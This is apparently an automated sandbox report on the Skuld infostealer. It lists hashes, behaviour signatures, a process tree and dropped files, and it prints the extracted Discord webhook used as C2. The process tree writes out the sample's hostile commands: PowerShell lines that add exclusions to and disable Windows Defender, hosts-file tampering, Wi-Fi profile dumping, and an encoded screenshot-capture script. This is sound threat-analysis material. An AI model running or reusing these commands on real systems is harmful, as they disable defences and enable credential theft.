Analysis

  • max time kernel
    150s
  • max time network
    48s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-06-2024 22:52

General

  • Target

    skuld.exe

  • Size

    9.5MB

  • MD5

    4527ef40b2543cbfa46d35c25f741dae

  • SHA1

    f01565f1b655a840a6a4b1cbc070659014508aee

  • SHA256

    99fb0eca4614a74886d2d1221045c9f35b4ac7400488db84fdcebdc6bde2f88e

  • SHA512

    ab4b576dbbfdbb8fe4f1b170fbb9de9a484ff89fcdda60df90d524a6e0ab63e6f564cb471424dfad8fea9ef49b17bfe5c4b8ddd7be6997d8ba725d3461da4316

  • SSDEEP

    98304:fdWb6aDUMqI03IXN1dsv7FQMEP4KAd4f:A/UMqY1dsvBQlPTf

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1257039082274422896/395iJabK3IVPpIWgS1k1UJ3FAnHY2lWIwRcLWCTN1yTDR63aYdeLgcVrc81Dut5tbfV4

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\skuld.exe
    "C:\Users\Admin\AppData\Local\Temp\skuld.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2716
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Views/modifies file attributes
      PID:1668
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:664
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:924
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:3892
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4440
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      PID:4512
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
        PID:2840
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:4988
      • C:\Windows\system32\attrib.exe
        attrib -r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:1240
      • C:\Windows\system32\attrib.exe
        attrib +r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:3448
      • C:\Windows\system32\netsh.exe
        netsh wlan show profiles
        2⤵
        • Event Triggered Execution: Netsh Helper DLL
        PID:2044
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of WriteProcessMemory
        PID:2384
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mdblay4y\mdblay4y.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4632
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9337.tmp" "c:\Users\Admin\AppData\Local\Temp\mdblay4y\CSCD7ACED47FCD7444FA5411DB7EBFF2814.TMP"
            4⤵
              PID:4808

      Network

      MITRE ATT&CK Enterprise v15

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        6d3e9c29fe44e90aae6ed30ccf799ca8

        SHA1

        c7974ef72264bbdf13a2793ccf1aed11bc565dce

        SHA256

        2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

        SHA512

        60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        3072fa0040b347c3941144486bf30c6f

        SHA1

        e6dc84a5bd882198583653592f17af1bf8cbfc68

        SHA256

        da8b533f81b342503c109e46b081b5c5296fdad5481f93fe5cc648e49ca6238e

        SHA512

        62df0eed621fe8ec340887a03d26b125429025c14ddcdfef82cb78ce1c9c6110c1d51ff0e423754d7966b6251363bf92833970eaf67707f8dd62e1549a79536c

      • C:\Users\Admin\AppData\Local\Temp\DkKa93KmJK\Display (1).png

        Filesize

        426KB

        MD5

        861c8600c5c2690c20f8902dee919011

        SHA1

        0f7fc0d519bf07469eff4984b4d73d7c9b0e4536

        SHA256

        7cdc6a95d312fca690929b5ae4e4c3241c88a1079c6dea187b758f16a713f05c

        SHA512

        1e5031bdbd748376a7592d05ccb56ed91a2cbbf6ace88e40dad5a513b6c72e3ea28568a5f49fae72db6d6ca3577cd2b5f88604727d2f9605fc0d77c5224acbd4

      • C:\Users\Admin\AppData\Local\Temp\RES9337.tmp

        Filesize

        1KB

        MD5

        551c157c6f8fe47593b3397b5a1ea912

        SHA1

        1be5dc5b6ae05047fecd2ad76e18983a1be275b4

        SHA256

        6b615025a2e17c28f71f13f00c0f449d823a466585be5342ff55aa2434e69d6b

        SHA512

        2200ca056f8d4896a559ae1bfa54328e8bd84dec35fcac4d9a21fc75c1edabaeb00df9d318a8fdb4ac9ccdce35e4f60674c8772f03a745edfdc1431ce408abeb

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gkdtotq5.iq5.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\mdblay4y\mdblay4y.dll

        Filesize

        4KB

        MD5

        b7a89f5934bafeb136803879c20084fb

        SHA1

        4b58971ecb09692a278b50e6da8ad2272c3fc852

        SHA256

        90c96b5df9a19467642f6a1e8dcd73b1c80abc9943770a0871b6b5a5e932bd40

        SHA512

        af313e74869b1f28050a0fb43717299874f494c19024222eedbf0d75905fcd5e1907742fc110888d7d1de73eebcaa9e1f9d6b9d1e3c6197e0003653ec863f97f

      • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

        Filesize

        9.5MB

        MD5

        4527ef40b2543cbfa46d35c25f741dae

        SHA1

        f01565f1b655a840a6a4b1cbc070659014508aee

        SHA256

        99fb0eca4614a74886d2d1221045c9f35b4ac7400488db84fdcebdc6bde2f88e

        SHA512

        ab4b576dbbfdbb8fe4f1b170fbb9de9a484ff89fcdda60df90d524a6e0ab63e6f564cb471424dfad8fea9ef49b17bfe5c4b8ddd7be6997d8ba725d3461da4316

      • C:\Windows\System32\drivers\etc\hosts

        Filesize

        2KB

        MD5

        6e2386469072b80f18d5722d07afdc0b

        SHA1

        032d13e364833d7276fcab8a5b2759e79182880f

        SHA256

        ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

        SHA512

        e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

      • \??\c:\Users\Admin\AppData\Local\Temp\mdblay4y\CSCD7ACED47FCD7444FA5411DB7EBFF2814.TMP

        Filesize

        652B

        MD5

        c8952a80bb6b5d794f4a636b13781fd5

        SHA1

        593e348c29f33d36dcd5d9862038a1c455ad2d6d

        SHA256

        d2c776cf68339b9b181606b62f3f2c32172d87dc1af87233dcdbbf65b80f3efc

        SHA512

        121c4487f997b475e9f1ee986f949a2aea2d308cc0ebf3c4a8a10d0ecbdf879095451295cc7620562237a376bca15d2f5c7a11344b30d2be506c0f1e85be985a

      • \??\c:\Users\Admin\AppData\Local\Temp\mdblay4y\mdblay4y.0.cs

        Filesize

        1004B

        MD5

        c76055a0388b713a1eabe16130684dc3

        SHA1

        ee11e84cf41d8a43340f7102e17660072906c402

        SHA256

        8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

        SHA512

        22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

      • \??\c:\Users\Admin\AppData\Local\Temp\mdblay4y\mdblay4y.cmdline

        Filesize

        607B

        MD5

        0176bc4fe241e7d1151ebeaec175a4d5

        SHA1

        68ed6d49e4d8fabf346433e0362bd5c5ac8e88b1

        SHA256

        805f974bea90d95eeec1b9aff9614010f43c2db3b188d0be8126346e90cc14fd

        SHA512

        3c7e47c00a2d3fc4291f3cea20fcddb666119c464def23104c4aa197374c8435833595618393b933b7c8a1c98401e5d103ef7d6e90f6ee6f7e1d63d132bbd30f

      • memory/924-20-0x00007FF9F6500000-0x00007FF9F6FC1000-memory.dmp

        Filesize

        10.8MB

      • memory/924-15-0x00007FF9F6500000-0x00007FF9F6FC1000-memory.dmp

        Filesize

        10.8MB

      • memory/924-14-0x00007FF9F6500000-0x00007FF9F6FC1000-memory.dmp

        Filesize

        10.8MB

      • memory/924-4-0x0000020AFFF60000-0x0000020AFFF82000-memory.dmp

        Filesize

        136KB

      • memory/924-3-0x00007FF9F6503000-0x00007FF9F6505000-memory.dmp

        Filesize

        8KB

      • memory/2384-60-0x0000025B027A0000-0x0000025B027A8000-memory.dmp

        Filesize

        32KB